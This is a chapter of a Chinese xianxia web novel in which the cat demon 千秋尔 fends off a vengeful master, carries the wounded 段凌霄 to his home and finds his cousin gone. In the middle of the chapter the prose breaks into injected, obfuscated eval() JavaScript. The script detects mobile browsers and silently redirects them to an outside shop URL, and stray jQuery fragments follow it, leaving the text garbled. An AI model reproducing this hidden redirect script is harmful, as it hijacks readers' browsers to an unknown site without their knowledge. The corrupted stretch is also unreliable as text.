6. 奔逃
    那人舞动旗幡,霎时风云变色,九天雷声轰动。

    “不好!”千秋尔跳下房檐,扯住段凌霄衣袖,“快走,他可是三品天师!”

    段凌霄望着面前青紫肿脸的女子,差点没认出来,但此刻不是问这个的时候。

    “表妹呢?”他道。

    千秋尔心急如麻,将银簪塞入他手中,便转身捡起树杈,边飞快回答,边提枝在地面绘阵。

    “表妹无碍,先我们回家了。”

    “那快走——”段凌霄去捉她手腕。

    千秋尔躲开,完成阵法最后一笔:“已来不及,你看人家老父亲让走吗?”

    乌云汇聚,青蓝闪电聚于幡顶,堂主冯通舞幡搅动电光,劈向二人:“还我儿命来!”

    他外出参加九州盟天师大会,中途心口悸痛,正是与子定下的心咒发作。

    心咒牵引,一人死,另一人纵是远在千里外,亦能即刻知晓。

    千秋尔踏入引仙阵,垂额,双手捏诀。

    “九重诸仙在上,”

    “借、天、力。”

    姒坤曾言,必要时会助她一丝仙力,以渡难关。

    如今便是生死必要时了。

    千秋尔掀眸,周身灵气磅礴如海,眼尾飞出两撇嫣红妖痕,左脸一道繁复的朱色符咒,庄严而古朴。

    她眉眼低垂,森然杀意外泄。

    “千秋尔,你...”段凌霄愕然。

    她施术引来天地浩风,青丝飞扬,衣袖鼓动,捏诀的指尖按得泛青,一双眼死死盯着空中敌人,小巧的鼻尖微皱,是猫妖临敌的警惕状。

    天师一品最强,妖族论境界,一境最弱。

    她一只两境修为的小妖,如何敢直面人族三品天师的?

    段凌霄取下捉妖葫芦,已下决心:“虽相识不久,但我知你是好妖,葫芦...”

    “给我闭嘴!”千秋尔断喝,雪白猫尾重重一甩,鞭向他后脑,将人捶晕。

    这时跟姥姥煽情什么!

    她可没空分神!

    三品天师引动的九天神雷劈下,浩风呼啸迎上,却如被巨石压陷的纱幕,嘶鸣着塌裂。

    千秋尔双眼赤红,人被吹得步步后退,脚底磨出浅白色拖痕。

    “不够,不够,借天力!”千秋尔咬牙顶风,竭力不离阵内,跺脚喊道。

    女子声线明丽,带着嘶吼战栗的颤音。高空深处,似有人亦急她所需,见浩风不够,直接引下一道锐利青光,破开层云雷电,冲向千秋尔。

    千秋尔微愣,鬼使神差抬起食指,接住这道光。

    “孽障,妖术甚多!”冯通怒喝,再度挥幡。

    千秋尔食指对他,指腹轻慢一凝压,只见青光闪动,煌煌剑气倾轧而去。

    剑气轰碎方圆五里,好在无目堂设在郊外,此处除它,只剩山林。

    冯通侧身躲避这强悍的剑气,再回眸,尘土飞扬中,已没那一人一妖的影。

    -

    漆黑林道间,千秋尔拔腿狂奔。

    “快跑快跑,快跑快跑。”她絮絮念。

    段凌霄迷糊醒来,第一眼视线是晃荡的地面,飘飞的鹅黄裙摆,他只觉头重脚轻,双目晕眩,突然意识到,自己被人扛在肩上。

    “恩公,你醒啦?”

    段凌霄循声望去,月光下,一张膨胀变形的脸扭来,向他嘻嘻笑着。

    “你!”段凌霄瞪大眼,随即吐气,“你是千秋尔。”

    “正是大妖我呀。”

    段凌霄想起方才那幕,问:“你如何能抵三品天师的雷电?”

    “我姥姥知晓世道艰险,”千秋尔越过枝桠,没注意段凌霄的头清闷一声撞上树枝,“特意给我一个秘法,可短暂暴涨修为。”

    这厢说着,她心里唾弃自己喊姒坤姥姥愈发熟练。

    千秋尔摇头,心里郁闷,脚下更快。

    段凌霄的脸划过树杈,撞上枝干,险些昏过去。

    “放、放我下来。”他抬手喊。

    “哦。”

    段凌霄脚步虚浮踩上地面,踉跄两下,双手摸上脸颊,抚摸灼热刺痛的划痕。

    千秋尔心疼地蹙眉:“恩公,那群人真坏。都说打人不打脸,竟将你打成这猪头样。”

    段凌霄眼角抽抽,望向她那张肿胀的脸。

    说猪头,谁是猪头。

    “你的脸又是何人所伤?”才问出口就拔剑,“路上再说吧。”

    谁知方催动灵力,一口血便闷声吐出。

    “恩公,你一人抵众,内伤颇重,需得调息了。”千秋尔道。

    段凌霄皱眉:“不可,眼下要立刻回段府,带走表妹,若那老败类比我们先到...”

    “这就走!”千秋尔一把扯过他,扛在肩上便跃出二里地。

    段凌霄眨眨眼,片刻才回过神。

    他面色胀红,说不清是这姿势身体不舒服,还是内心别扭。

    千秋尔边飞奔,边讲起演武场所见。

    “千百度是那人所制?我不曾听义父说起。”段凌霄面色凝重,“此人来历古怪,下次再见,你切不可贸然出手了。”

    但也好在那人古怪,不然这冒失的小猫妖,如何只受挨拳这等肉搏外伤。

    千秋尔听出他话中关切,晃晃脑袋,唤道:“恩公啊。”

    她这一声得意又欢快,嗓音甜滋滋的。

    段凌霄纳闷:“嗯?”

    “那恩公下次再遇险,切不可想着用葫芦收我了!”

    他那时想将她引入葫芦,只因葫芦内的空间不受外力摧毁,可让她保命。

    “我来报恩,怎能临难而退呢?”千秋尔单脚踩上一块岩石,空闲的左臂前伸,朝天展去,“我是勇往直前的!”

    月光下,女子右肩扛男人,左臂纵伸长,夜风吹过衣裙,一派豪爽清逸的大侠风范。

    ——咳,千秋尔想象中的风范。

    事实上,段凌霄瞅她那傻样,替她尴尬恨不得钻入地心,咬牙道:“赶路!”

    “是!”千秋尔见好就收,飞跃而去。

    -

    来到段府,段凌霄忍耐一路的身体不适,落地先寻个角落呕吐,潦草擦过嘴角,便奔向院中。

    “表妹,表妹!”

    千秋尔立在庭院中,取下九只铃铛,屈指弹向云层深处。

    “去。”

    小金铃铛飞入高空,暗云遮蔽,只渗出轻微光芒,混在月色中,是她用来监视方圆百里的眼。

    这样那堂主若赶来,她们大有时间提前撤离。

    千秋尔不想目睹两人重逢的亲昵,人家总是要说些知心话的,她这个异族外人掺和啥呢。

    她走到大槐树下,单手按上树干,细眉一蹙,咳出血。

    这一咳,便停不下来。

    淅淅沥沥,嘴角挂满粘稠血流。

    “痛...”她低吟,左手按上心口。

    掌心下,胸膛深处的镇符滚烫,紧勒她跳动的心脏,一道道细小电流穿过经脉,惩处她试图越级施术的行为。

    借天力难抵冯通时,她冒险调动被镇符封印的修为,非但没成,反倒受这反噬之苦。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143403|150198||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    又一阵电流过。

    千秋尔浑身一颤,双膝跪地而倒,长发垂落,遮住煞白的脸,赤红的唇。

    槐树皮轻微漾动,一条暗绿色树根窸窸窣窣响动,如长藤攀上千秋尔手腕,轻抚她唇边染血的碎发。

    “无碍的,”千秋尔抬起头,眉眼温柔,“一会儿就好,不要担心我。”

    她轻抚树干,弯唇一笑,“你已开灵智,不日便能化形,快些吸收了我的血吧。”

    她的血,乃是妖仙之血,对一切生灵都有滋补。

    槐树叶无风而动,扑簌簌落下纷扬的椭圆翠叶。

    “不哭,若对你有用,这血也是不算白流。”千秋尔笑吟吟道。

    槐树听闻此话,根下虬曲盘旋的分叉树根破土而出,扎入千秋尔吐出的小血泊,转瞬吸收干净。

    “槐树招鬼,如今鬼域开,你化形后要离那些家伙远些啊。”千秋尔抚摸它的树根,嘱咐道。

    攀在她腕上的藤条点点头,却忽地一下收回,没入土壤。

    急促的脚步声靠近。

    千秋尔擦净血渍,正了正头巾,扭脸问:“恩公,表妹要见我呀?”

    少年面色阴沉,摇头:“不。”

    “她不在府中!”

    千秋尔愣住。

    少年趔趄上前,一把攥住她肩膀:“那人是怎么与你说的?!”

    千秋尔被他握得肩疼,蹙眉忍下喉间腥甜,递出银簪,还没开口,他已将银簪抢去。

    “表妹去年的生辰礼!”

    千秋尔揉揉肩,将发现银簪的过程,及那幕篱人的话,再次转述。

    段凌霄掏出千百度,念完诗咒,花树却无反应。

    “又感应不到表妹的灵力了...”

    “她是否又被歹人劫走了?!”

    见他有些失控,千秋尔劝道:“恩公,也可能表妹回来,但知晓此处不安全,又去别的地方了。”

    段凌霄安静下来,面色缓和。

    千秋尔继续道:“你们自幼相识,你想想,还有何处是她会去的?”

    段凌霄垂下头,骨节分明的长指按上衣袖,不安地轻蹭两下。

    “恩公?”

    “我,”他语气涩重,“不知。”

    两人虽同住府中,但除了儿时,表妹戏称他这个义兄为表哥,只这一点稍显亲昵的事后,便无甚交际。

    他一心修炼,更克己复礼,知表妹生得美,从不多看表妹一眼。而表妹性情温顺,更是听从父亲教诲,常居后院,鲜少出门。

    两人平日相见,也是隔着屏风。

    千秋尔愕然:“...就你俩这样还成婚啊?”

    怪不得问他表妹特征,他只说出那一句玄妙的话,合着自己都不定知道啊!

    段凌霄面色有些讪讪。

    忽地,高空急促响起一串清脆铃音。

    千秋尔眉眼一凛,扛起段凌霄便跑:“败类来了,快走!”

    这次她又没注意力道,段凌霄身子一倒,头重重撞上槐树,彻底晕过去。

    多亏空中监视铃,两人提前逃遁十里远。

    肩上的段凌霄已昏半日,面色煞白,额间冷汗涟涟,赶路的千秋尔拿眼角觑他一眼,腾出两指按上他手腕。

    不好,灵气倒流,灼烧经脉。

    千秋尔咬咬牙,捏过他下颌,对嘴输了他一口仙气,暂缓他体内混热。

    她如今身在凡尘,仙气实属珍贵,一口气约摸两月方能养回。

    “小猫,你的情郎?”这时,一道温柔笑声从头顶传来。